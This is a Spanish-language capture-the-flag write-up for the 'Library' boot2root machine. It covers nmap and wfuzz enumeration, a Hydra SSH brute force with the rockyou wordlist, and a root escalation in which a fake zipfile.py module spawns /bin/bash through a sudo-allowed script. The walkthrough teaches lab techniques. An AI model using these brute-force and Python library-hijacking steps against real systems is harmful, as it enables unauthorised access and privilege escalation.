Library
boot2root machine for FIT and bsides guatemala CTF - Read user.txt and root.txt.
1. Fase de reconocimiento
- Para conocer a que nos estamos enfrentando lanzamos el siguiente comando:
ping -c 1 {ip}
- De acuerdo con el ttl=63 sabemos que nos estamos enfrentando a una máquina con sistema operativo Linux.
2. Enumeración / Escaneo
- Escaneo de la totalidad de los 65535 puertos de red el cual guardamos en un archivo en formato nmap con el siguiente comando:
└─# nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn {ip} -oN allports
-
De acuerdo con el escaneo anterior, se encuentran los siguientes puertos abiertos; 22 (ssh) y 80 (htp)
-
Escaeno de vulnerabilidades sobre los puerto 80:
└─# nmap -v -A -sC -sV -Pn {ip} -p22,80 --script vuln
- Whatweb nos da la siguiente información:
whatweb {ip}
- Revisión de la URL http://10.10.158.155:
- Buscando el la ruta robots.txt, me encontré con el siguiente mensaje:
3. WFUZ
- Escaeno de subdominios con wfuzz:
└─# wfuzz --hc=404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt {ip}/FUZZ/
- Con el anterior escaner encotramos solo un archivo images en el cual no encotramos unas imagenes:
4 Hydra
- Con la información de robots.txt procedemos a intentar por fuerza bruta a conseguir la contraseña del usuario meliodas que habiamos encontrado en la página de inicio:
└─$ hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://{ip} -f -VV -t 4
4. SSH
- Con la contraseña obtenida con hydra del usuario meliodas procedemos a establecer una conexión via *ssh.
└─# ssh meliodas@{ip}
5. Bandera de usuario
- Listamos con ls y encontramos el archivo user.txt:
6. Bandera root
- Búsqueda de vulnerabilidades con el comando sudo -l:
- Creación del binario zipfile.py, desde la máquina atacante, con el siguiente contenido que nos va a escalar una bash como root:
library_ls.pngimport os
ZIP_DEFLATED = 1
def ZipFile(param1, param2, param3):
print(os.system('/bin/bash'))
- Procedemos a compartirlo con un servidor en python
- Descargamos el archivo creado en la máquina con wget:
- Ejecutamos el script bak.py y obtenemos la bandera root:
7. Fuentes
- Writeup: